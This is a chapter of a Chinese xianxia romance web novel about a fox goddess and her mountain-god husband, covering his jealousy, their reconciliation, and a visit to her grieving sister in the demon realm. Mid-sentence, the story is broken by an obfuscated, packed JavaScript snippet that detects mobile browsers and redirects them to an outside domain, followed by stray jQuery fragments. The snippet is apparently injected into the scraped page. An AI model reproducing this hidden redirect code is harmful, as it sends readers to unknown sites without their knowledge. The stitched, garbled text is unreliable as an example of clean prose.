109. 若有那一日,请你忘了我

作品:《仙狐竹马绕青梅

    “快别撒酒痴了!


    这还有人呢,屋顶那么高,我哪里背得动你!”


    皇帝哥哥和守卫们的眼神像密密麻麻的钉子一般扎得孟望舒出了好大一身汗,众目睽睽之下要她把那个人高马大的夫君就那么背下去,不如直接了结了她,还来得痛快点。


    虽然这么些年下来,两个人相处的时候,总是自己更主动些,但要她当着那么多人的面示爱,实在是太难为情了。


    “便是我今日撒上一回痴,你就不能依我吗?


    这儿能有什么人?你背得了他,却背不了我吗呜呜呜……”


    年轻神君见妻子不依自己,立时张嘴干嚎起来,一边把脸藏在袖子后面观察着夫人的神色,一边蹲下身子把头倚在了小狐狸的肩上。偷偷使劲儿用内力平衡住身体怕真的压到了心爱之人,又非要装出柔弱的样子娇嗔个不停。


    打从记事起,这只老虎便没有撒过娇。今日若是不依他,只怕是要闹个没完,所有人都不消停了,想到这儿,孟望舒心里一横,抬手扶起了那颗呼着热气的脑袋,扎着马步就蹲了下来。


    那位平日里斯斯文文的皇帝哥哥,似乎也意识到今日自己闯了祸打翻了一罐陈醋,连忙伸手来帮忙,把陆伯都扶上了她的背。


    两人心里都明白,这一招儿最累的人是陆伯都,压在昆仑新后背上的重量并没有多少,把腿用力蜷起来,用内力悬在空中的山神倒是要累上许多,但这也是他自己撒泼打滚求来的待遇,谁也怨不得。


    见妻子似乎识破了自己的诡计,在房顶上背着轻如羽毛的他一寸一寸的往前挪,偏偏这时候还咬着牙不敢发作,心底不禁就暗暗后悔起来,明明他才是舒儿的夫婿,如今却闹得像个争宠的外室。


    也不知道那些走在身后的人会不会在背地里笑自己,身前那个弯下腰的家伙倒像是嫌今日的笑话闹得还不够。居然伸手用力拍了一把他的屁股,大声道:


    “再往下趴些!”


    屁股上的那声脆响加上后面再也不压抑的笑声,让陆伯都的脸红到了耳朵根,却只好听话地往上趴了趴,生怕晚动半分,第二个巴掌就要落到屁股上。


    好不容易捱到了地上,准备报仇的人还没来得及动手,有个讨嫌又甩不掉的情敌马上就把话递了过来:


    “江都的事儿平了,你们也该回去看看宜苏了。


    我这个皇帝舅舅没什么别的送的,便叫人去铺子里买上了几大包糖饼给她,新一季的桂花刚开,叫小娃娃吃个新鲜。”


    年轻的神君正愁受了气,一肚子邪火没地方撒,正好听见这话,立刻没好气地接过了那几包给女儿的糖饼,嘟嘟囔囔地抱怨道:


    “大小也是个江南最有钱的皇帝,叫人捎点东西去看外甥。


    就给上这么几个饼,你倒是好意思得很。”


    没想到情敌听见这话也更来劲了,笑嘻嘻地看着他,沉着应对到:


    “自然国库里那些金玉俗物也是有的。


    偏偏我这外甥女,生来就有了九州最富庶的舅舅,还有个在三界都有名的豪横娘亲,我那些东西,哪里好意思拿出来献丑?


    倒是还有几篓新鲜的河虾螃蟹,你们一齐带回去,从前都是舒儿最爱吃的。”


    江南的河虾是昆仑和青丘都难寻的,最喜食这些都小狐狸眼睛立马都亮了起来,陆伯都见到爱人那喜孜孜的神色,又不忍心推拒了那番好意。只好伸手接过了那些东西,挤出一个假笑道了谢,才上了坐骑带着妻子往回赶。


    见夫君上了车,还是满脸的不快。心里知晓一切的孟望舒伸手拉开了窗户上的布帘,将脚下的万家灯火都展示给她的爱人看:


    两人才刚刚出发,离地面不算远,此刻就连小河上船夫捞起来的竹篓里,鲜活蹦跳的鲜鱼都能瞧得一清二楚。岸上戏耍笑闹得孩子也举着手里的灯笼,在那石板路上欢快地来回跑动。


    看着脚下大家和乐生活的样子,和夫君瞧得有些出神的样子,小狐狸也不再说话,直到那些景致逐渐模糊起来,才抬手抚上那张棱角分明,今夜难得有些孩子气的脸:


    “我救皇帝哥哥,一是因为她母亲与我母亲和祖母都渊源极深。


    他们孤儿寡母,靠着一帮名不正言不顺,朝廷里连头衔编制都没有的血滴子杀手相护,摇摇晃晃的坐上了皇位,那时候朝野奸佞当道,他连个叔伯都没有,四面楚歌无人帮扶,实在可怜。


    二是因为,不论是兰时姑姑,还是她的孩子,都是真真切切盼着子民安好,疆土牢固的。


    即便放下从小一起长大的情意,单凭他全心全意要守护的,就是你今日所见那个莲灯漾细波,满岸孩童戏的江南,我也不该袖手。


    我救他之时,他孤身缩在那轿子里,头上是下咒孩子的尸身,周围是吃了毒肉的野狗,我若不背他出来,以身破局,今日的江南早已是民不聊生,炮火连天了。”


    见妻子耐着性子解释起来,陆伯都愈发后悔起今日自己的孩子气来,他原本只是想同心爱之人撒撒娇,随便闹闹。却不想勾起了爱人心底的回忆,把这氛围弄得如此严肃认真,不禁有些懊恼。


    正想解释,却又被妻子捂住了嘴,示意他听自己说完:


    “而我屡次为你以身涉险,却不是为了天下大义,只为了私情。


    不论是当年我入海底降大妖,还是去库房挖出青丘的镇国之宝去那湖边找你,抑或是后来我跟你入岩浆炼狱和冰河,每时每刻,我都只想守护自己的心爱之人。


    每每想到这些,我都为自己的以身犯险不管不顾而对青丘的百姓抱愧,可若重来一遍,我必然也还是会这么选。”


    那双圆溜溜的杏眼,说着这些话的时候,眼底亮晶晶的水光汇成了一颗颗小小的珍珠,顺着那张清秀的脸,骨碌碌就滚了下去。


    想到这位昆仑的新后,并未享过几日福,却救过他好几命,曾经浑身湿透的站在岛上仰着头望着自己,差点丢了命,却只为了堵上三界那些闲言碎语,证明能配得上他,他的心就酸涩难忍,伸手紧紧地搂住了对面的人。


    他不该疑她,更不配疑她,从头到尾,更坚定更勇敢的,都是这只小狐狸。在那样真诚又汹涌的爱意面前,他无数次后悔过少年时那些自作聪明的犹疑和躲闪,到了现在,更不应该乱吃些没来由的醋才是。


    爱人的怀抱温暖又干燥,孟望舒只觉得心底积压的委屈这一刻都喷涌而去,任凭眼泪顺着被眼泪打湿的鬓角,滚到锁骨的阴影里,在马车昏暗的灯火里,形成一片湿漉漉的水洼,被爱人滚烫的舌头舔去,再在两人的汗水和喘息里,用肌肤交映出一片崭新的粼粼波光。


    回到昆仑之后的日子,是她成婚后,最美好安乐的一段时光。三界接连不断的风波都已经过去,出门前还在牙牙学语的孩子,现在已经学会了简短的话,每日里叽叽喳喳说个不停。


    陆伯都也难得地清闲了些时日,抽空带着小小的宜苏,去了归墟一趟,小家伙看着见着头就见不着尾的大鱼在水里游来游去,激动的拍手大喊,又在巨鸟展开翅膀翱翔挡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922750|155451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住所有阳光之时捂嘴惊呼。


    最后干脆在父亲第一次表白心意的,满山荧虫红海里,趴在娘亲的怀里呼呼大睡起来。


    看着那些安心休息的灵兽,和身边甜笑的妻子,从小就幻想过无数次这个场景的昆仑山神,只觉得世上再没有比这一刻更珍贵的东西。凡俗夫妻每日里最寻常的相处时光,却是他们最来之不易的宝贝。


    这么温馨寻常的日复一日,很快就翻到了中秋这一页。为了庆祝难得的安宁,和三界近日的太平,昆仑好好地大摆宴席庆贺了一番,大家杯中的美酒交映着天上的圆月,笑声里盈满了喜气。


    然而就在这样一个人人高兴的月夜,孟望舒却留意到了父母的神伤,他们望着四大神山的席位,看着一个下巴上泛着青色胡茬年轻神君坐在了蓬莱山主的位子,久久的出神。


    那个每年年节才能与家人相聚,身为圣山之主的妹妹,今年第一次缺席了这个盛会,推杯换盏的人里,没有人还记得那个一身浅碧手持香炉的孟山主,只有她和父母弟弟的心里,还挂念着那个熟悉的身影。


    待到酒席结束,有些微醺的昆仑山神回了房,上前准备为他宽衣的人,伸出去的手却在半空中被抓住了:


    “你换身轻便的衣裳,我带你去看雪儿。”


    低头轻轻啄着手里细葱一样的手指,分明这位山神刚才看着还像是吃醉了酒,现在却似乎立刻清醒了起来,催着妻子换了衣服,又叫来了坐骑,带着爱人出门就朝着妖界赶去。


    许是近乡情怯,又或是太担心妹妹,在飞马靠近妖界之时,孟望舒竟然从满心期待变成了心情复杂地抬手遮住了眼,她太想念那个一母同胞的小丫头了,以至于竟不敢睁眼看一看她现在过得到底如何。


    “舒儿,你看,他们点了好大一堆篝火,热闹着呢。”


    爱人在耳边的细语,扫清了小狐狸心底的担忧,她慢慢放下手,仔细俯看起脚下的情景来,妖族比起那次血洗之前,人还是少了许多,周围被神兵损毁的宫殿屋舍也还没有完全修复好。


    但在妖族宫殿洞口的空地上,转着圈起舞的妖众们,看上去却已经从往日的阴霾里走了出来,他们拉着手转圈唱着自己的歌,而自己最熟悉的那个人,正穿着一身白色的妖族长裙,举着手和大家一同转圈。


    有眼泪夺眶而出,但她却顾不上抬手去擦,赶紧身子往下再够了够,仔细地打量着有些时日不见的妹妹。那个往日的蓬莱山主,现今比往日更轻减了不少,但精神看着却比刚来妖界时好了许多。


    这地方比起蓬莱,自然是简陋粗糙了不少,但她的妹妹,看上去却甘之如饴,很是享受在这儿的时光。


    “她在这儿,在这儿也好,玄知不在了。


    留在妖界,总还是有些回忆和念想,况且,如今神界动荡,呆在这儿,说不定还安全些。”


    念念有词的孟望舒也说不清这些话是说给陆伯都听的,还是在安慰心里感伤的自己。她久久地望着那个对自己的到来毫无知觉的少女,看着她起舞,看着她举杯,连眼睛都舍不得眨一眨。


    “神族的寿命漫长,这些回忆和念想,也不知是折磨还是福气。


    我时常在想,若有一日我身殒战场,魂归忘川。舒儿,我只愿,我只愿你终有一日可以忘了我。”


    满心牵挂妹妹的人听见这句话,望着那双在月光倾泻下浓黑含情的眼,立刻明白了爱人的心里在担心在害怕的是什么,在还有些余热的初秋微风里,坐在半空中,忽然就打起了冷战。